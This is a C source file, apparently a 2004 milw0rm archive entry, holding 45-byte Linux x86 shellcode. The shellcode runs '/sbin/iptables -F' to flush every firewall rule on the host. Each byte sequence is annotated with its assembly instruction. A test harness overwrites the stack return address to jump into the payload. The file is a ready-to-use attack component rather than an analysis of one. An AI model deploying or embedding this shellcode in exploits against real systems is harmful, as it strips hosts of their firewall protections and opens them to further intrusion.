40 lines
No EOL
1.3 KiB
C
40 lines
No EOL
1.3 KiB
C
/*
|
|
* 06/03/2003
|
|
*
|
|
* ( 45 bytes ) to flush iptables.
|
|
*
|
|
* _execve(/sbin/iptables -F) by UnboundeD
|
|
* greetz to s0t4ipv6.
|
|
*
|
|
*/
|
|
|
|
char shellcode[] =
|
|
|
|
"\x31\xd2" // xorl %edx,%edx
|
|
"\x52" // pushl %edx
|
|
"\x66\x68\x2d\x46" // pushw $0x462d
|
|
"\x89\xe6" // movl %esp,%esi
|
|
"\x52" // pushl %edx
|
|
"\x68\x62\x6c\x65\x73" // pushl $0x73656c62
|
|
"\x68\x69\x70\x74\x61" // pushl $0x61747069
|
|
"\x89\xe7" // movl %esp,%edi
|
|
"\x68\x62\x69\x6e\x2f" // pushl $0x2f6e6962
|
|
"\x68\x2f\x2f\x2f\x73" // pushl $0x732f2f2f
|
|
"\x89\xe3" // movl %esp,%ebx
|
|
"\x52" // pushl %edx
|
|
"\x56" // pushl %esi
|
|
"\x57" // pushl %edi
|
|
"\x89\xe1" // movl %esp,%ecx
|
|
"\x31\xc0" // xorl %eax,%eax
|
|
"\xb0\x0b" // movb $0xb,%al
|
|
"\xcd\x80" // int $0x80
|
|
;
|
|
|
|
main() {
|
|
int *ret;
|
|
ret=(int *)&ret +2;
|
|
printf("Shellcode lenght=%d\n",strlen(shellcode));
|
|
(*ret) = (int)shellcode;
|
|
}
|
|
|
|
// milw0rm.com [2004-09-26]
|